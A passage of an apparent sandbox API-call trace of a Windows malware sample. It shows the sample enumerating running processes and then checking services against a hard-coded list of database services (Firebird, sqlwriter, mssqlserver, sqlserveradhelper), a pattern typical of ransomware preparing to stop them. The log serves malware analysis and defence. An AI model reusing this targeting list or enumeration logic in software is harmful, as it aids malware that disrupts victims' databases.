[0098.953] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0098.953] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0098.954] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0098.954] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0098.954] lstrlenW (lpString="explorer.exe") returned 12 [0098.954] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0098.955] lstrlenW (lpString="Memory Compression") returned 18 [0098.955] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0098.955] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0098.955] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0098.956] lstrlenW (lpString="SearchUI.exe") returned 12 [0098.956] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0098.957] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0098.957] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0098.958] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0098.958] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0098.958] lstrlenW (lpString="taskhostw.exe") returned 13 [0098.958] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0098.959] lstrlenW (lpString="UsoClient.exe") returned 13 [0098.959] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0098.959] lstrlenW (lpString="taskhostw.exe") returned 13 [0098.959] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0098.960] lstrlenW (lpString="msoia.exe") returned 9 [0098.960] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0098.960] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0098.960] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0098.961] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0098.961] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0098.962] lstrlenW (lpString="msoia.exe") returned 9 [0098.962] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0098.962] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0098.962] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0098.963] lstrlenW (lpString="entering.exe") returned 12 [0098.963] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0098.963] lstrlenW (lpString="measurement nut d.exe") returned 21 [0098.963] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0098.964] lstrlenW (lpString="ai element.exe") returned 14 [0098.964] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0098.964] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0098.964] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0098.965] lstrlenW (lpString="clicking.exe") returned 12 [0098.965] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0098.965] lstrlenW (lpString="pack.exe") returned 8 [0098.965] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0098.966] lstrlenW (lpString="try-gtk.exe") returned 11 [0098.966] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0098.967] lstrlenW (lpString="counseling tmp.exe") returned 18 [0098.967] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0098.967] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0098.967] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0098.968] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0098.968] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0098.968] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0098.968] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0098.969] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0098.969] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0098.969] lstrlenW (lpString="jerry pure.exe") returned 14 [0098.969] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0098.970] lstrlenW (lpString="powerseller.exe") returned 15 [0098.970] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0098.971] lstrlenW (lpString="non firewall.exe") returned 16 [0098.971] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0098.971] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0098.971] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0099.561] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0099.561] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0099.562] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0099.562] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0099.562] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0099.562] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0099.563] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0099.563] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0099.564] lstrlenW (lpString="bd guidance.exe") returned 15 [0099.564] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.565] lstrlenW (lpString="conhost.exe") returned 11 [0099.565] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.565] lstrlenW (lpString="conhost.exe") returned 11 [0099.565] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0099.566] lstrlenW (lpString="lang hl gis.exe") returned 15 [0099.566] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.566] lstrlenW (lpString="svchost.exe") returned 11 [0099.566] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0099.567] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0099.567] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0099.568] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0099.568] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.568] lstrlenW (lpString="conhost.exe") returned 11 [0099.568] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0099.569] lstrlenW (lpString="cmd.exe") returned 7 [0099.569] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.570] lstrlenW (lpString="conhost.exe") returned 11 [0099.570] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0099.570] lstrlenW (lpString="sppsvc.exe") returned 10 [0099.570] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0099.571] lstrlenW (lpString="dllhost.exe") returned 11 [0099.571] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0099.571] CloseHandle (hObject=0x358) returned 1 [0099.571] Sleep (dwMilliseconds=0x1f4) [0100.323] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f2f8 [0100.323] EnumServicesStatusExW (in: hSCManager=0x47f2f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0100.324] GetLastError () returned 0xea [0100.324] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x36890e8 [0100.325] EnumServicesStatusExW (in: hSCManager=0x47f2f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36890e8, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36890e8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0100.333] CloseServiceHandle (hSCObject=0x47f2f8) returned 1 [0100.333] lstrlenW (lpString="Appinfo") returned 7 [0100.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0100.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0100.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0100.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0100.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0100.333] lstrlenW (lpString="AppXSvc") returned 7 [0100.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0100.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0100.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0100.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0100.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0100.334] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0100.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0100.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0100.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0100.334] lstrlenW (lpString="Audiosrv") returned 8 [0100.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0100.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0100.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0100.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0100.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0100.334] lstrlenW (lpString="BFE") returned 3 [0100.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0100.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0100.334] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0100.334] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0100.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0100.334] lstrlenW (lpString="BITS") returned 4 [0100.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0100.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0100.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0100.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0100.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0100.335] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0100.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0100.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0100.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0100.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0100.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0100.335] lstrlenW (lpString="CDPSvc") returned 6 [0100.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0100.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0100.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0100.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0100.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0100.335] lstrlenW (lpString="ClickToRunSvc") returned 13 [0100.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0100.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0100.335] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0100.335] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0100.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0100.336] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0100.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0100.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0100.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0100.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0100.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0100.336] lstrlenW (lpString="CryptSvc") returned 8 [0100.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0100.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0100.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0100.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0100.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0100.336] lstrlenW (lpString="DcomLaunch") returned 10 [0100.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0100.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0100.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0100.336] lstrlenW (lpString="DeviceAssociationService") returned 24 [0100.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0100.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0100.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0100.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0100.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0100.336] lstrlenW (lpString="Dhcp") returned 4 [0100.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0100.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0100.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0100.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0100.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0100.337] lstrlenW (lpString="Dnscache") returned 8 [0100.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0100.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0100.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0100.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0100.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 